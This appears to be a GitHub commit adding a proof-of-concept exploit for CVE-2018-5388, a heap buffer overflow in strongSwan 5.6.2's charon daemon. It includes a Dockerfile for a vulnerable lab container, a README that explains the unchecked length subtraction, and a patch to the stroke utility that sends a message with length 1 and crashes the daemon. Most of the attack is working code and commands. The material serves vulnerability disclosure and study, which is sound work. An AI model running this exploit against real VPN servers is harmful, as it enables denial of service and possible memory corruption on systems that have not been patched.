Skip to content

Commit 26cf2fb

Browse files
Proof-of-concept exploit for CVE-2018-5388.
1 parent 4b6a3b8 commit 26cf2fb

3 files changed

Lines changed: 125 additions & 0 deletions

File tree

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
FROM ubuntu:artful
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
openjdk-8-jdk git-core gnupg flex bison gperf build-essential \
6+
zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 \
7+
lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev ccache \
8+
libgl1-mesa-dev libxml2-utils xsltproc unzip python gdb python3 \
9+
tmux screen pkg-config libtool automake sudo libgmp-dev iptables \
10+
xl2tpd module-init-tools supervisor emacs gettext libcap-dev
11+
12+
RUN groupadd vpn
13+
RUN useradd -g vpn vpn
14+
15+
WORKDIR /opt/work
16+
RUN git clone git://git.strongswan.org/strongswan.git
17+
RUN cd strongswan && git checkout 5.6.2 && ./autogen.sh && \
18+
./configure --with-capabilities=libcap --with-user=vpn --with-group=vpn && \
19+
make && make install
20+
21+
# switch over to the 'attacker' user, since root access is no longer required
22+
RUN addgroup attacker --gid 1001
23+
RUN adduser attacker --disabled-password --uid 1001 --gid 1001
24+
RUN adduser attacker vpn
25+
26+
# We need to give the "attacker" user sudo permission so that we can
27+
# start strongswan inside the container. The sudo privileges are not
28+
# used to run the exploit. For that, the attacker only needs to be a
29+
# member of the "vpn" group.
30+
RUN adduser attacker sudo
31+
RUN echo "attacker:x" | chpasswd # sudo password is "x"
32+
33+
USER attacker
34+
WORKDIR /home/attacker/
35+
36+
# Get a copy of the strongswan codebase for the "attacker" user. This
37+
# is just a lazy way to write the code for the exploit. The only thing
38+
# that we will use from this copy of the code is the "stroke" utility.
39+
# We will modify the code slightly and use stroke to send a malicious
40+
# message to the charon daemon.
41+
RUN git clone git://git.strongswan.org/strongswan.git
42+
COPY stroke_patch.txt /home/attacker/stroke_patch.txt
43+
RUN cd strongswan && git checkout 5.6.2 && \
44+
git apply ../stroke_patch.txt && \
45+
./autogen.sh && ./configure && make

strongSwan/CVE-2018-5388/README.md

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# Buffer overflow in strongSwan VPN's charon server (CVE-2018-5388)
2+
3+
This directory contains a proof-of-concept exploit for a buffer overflow vulnerability in [strongSwan](https://www.strongswan.org/) VPN's [charon](https://wiki.strongswan.org/projects/strongswan/wiki/Charon) daemon. The bug was assigned [CVE-2018-5388](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5388). It was fixed in strongSwan version [5.6.3](https://www.strongswan.org/blog/2018/05/28/strongswan-5.6.3-released.html).
4+
5+
# The bug
6+
7+
The bug is in this code ([src/libcharon/plugins/stroke/stroke_socket.c:634](https://github.com/strongswan/strongswan/blob/3232cf68b98a944d3379ba141b742befb90b8f85/src/libcharon/plugins/stroke/stroke_socket.c#L634)):
8+
9+
```
10+
if (!stream->read_all(stream, (char*)msg + sizeof(len), len - sizeof(len)))
11+
```
12+
13+
The value of `len` is read from a socket (on [line 621](https://github.com/strongswan/strongswan/blob/3232cf68b98a944d3379ba141b742befb90b8f85/src/libcharon/plugins/stroke/stroke_socket.c#L621)), so it could be vulnerable to attack. The code does not check that `len >= sizeof(len)`, so the calculation of `len - sizeof(len)` could overflow negatively and produce a very large value (of type `size_t`). This will cause a heap buffer overflow in the call to `read_all`, because the size of the `msg` buffer is very small and `read_all` will keep reading data from the socket until the connection is closed (or it reads 2^64 bytes).
14+
15+
# Running the PoC
16+
17+
To demonstrate the PoC in a safe environment, we will run the vulnerable version of strongSwan in a [docker](https://www.docker.com/) container.
18+
19+
First, build the docker image:
20+
21+
```
22+
docker build . -t strongswan
23+
```
24+
25+
As you can see from the Dockerfile, we have installed strongSwan version 5.6.2. We have also created a user named "attacker". This user is a member of the `vpn` group, so that they can use the [stroke](https://wiki.strongswan.org/projects/strongswan/wiki/IpsecStroke) utility to query the [charon](https://wiki.strongswan.org/projects/strongswan/wiki/Charon) daemon. The attacker user is also a member of the `sudo` group, but this is only to enable us to start `ipsec`. Superuser permissions are not used for the actual attack.
26+
27+
Now start the container:
28+
29+
```
30+
docker run --privileged -i -t strongswan
31+
```
32+
33+
The `--privileged` flag is needed to start `ipsec` inside the container. Do this now:
34+
35+
```
36+
sudo ipsec start # sudo password is "x"
37+
```
38+
39+
Now run the attack:
40+
41+
```
42+
./strongswan/src/stroke/.libs/stroke statusall
43+
```
44+
45+
You will see an error message like this:
46+
47+
```
48+
ipsec_starter[26]: charon has died -- restart scheduled (5sec)
49+
```
50+
The charon daemon crashed due to a buffer overflow which we triggered by sending it a malicious message.
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
diff --git a/src/stroke/stroke.c b/src/stroke/stroke.c
2+
index 6571815e5..7b79c3aaf 100644
3+
--- a/src/stroke/stroke.c
4+
+++ b/src/stroke/stroke.c
5+
@@ -78,6 +78,7 @@ static int send_stroke_msg(stroke_msg_t *msg)
6+
stream_t *stream;
7+
char *uri, buffer[512], *pass;
8+
int count;
9+
+ size_t oldlen;
10+
11+
if (msg->length == UINT16_MAX)
12+
{
13+
@@ -98,13 +99,16 @@ static int send_stroke_msg(stroke_msg_t *msg)
14+
return -1;
15+
}
16+
17+
- if (!stream->write_all(stream, msg, msg->length))
18+
+ oldlen = msg->length;
19+
+ msg->length = 1;
20+
+ if (!stream->write_all(stream, msg, oldlen))
21+
{
22+
fprintf(stderr, "sending stroke message failed\n");
23+
stream->destroy(stream);
24+
free(msg);
25+
return -1;
26+
}
27+
+ exit(0);
28+
29+
while ((count = stream->read(stream, buffer, sizeof(buffer)-1, TRUE)) > 0)
30+
{

0 commit comments

Comments
 (0)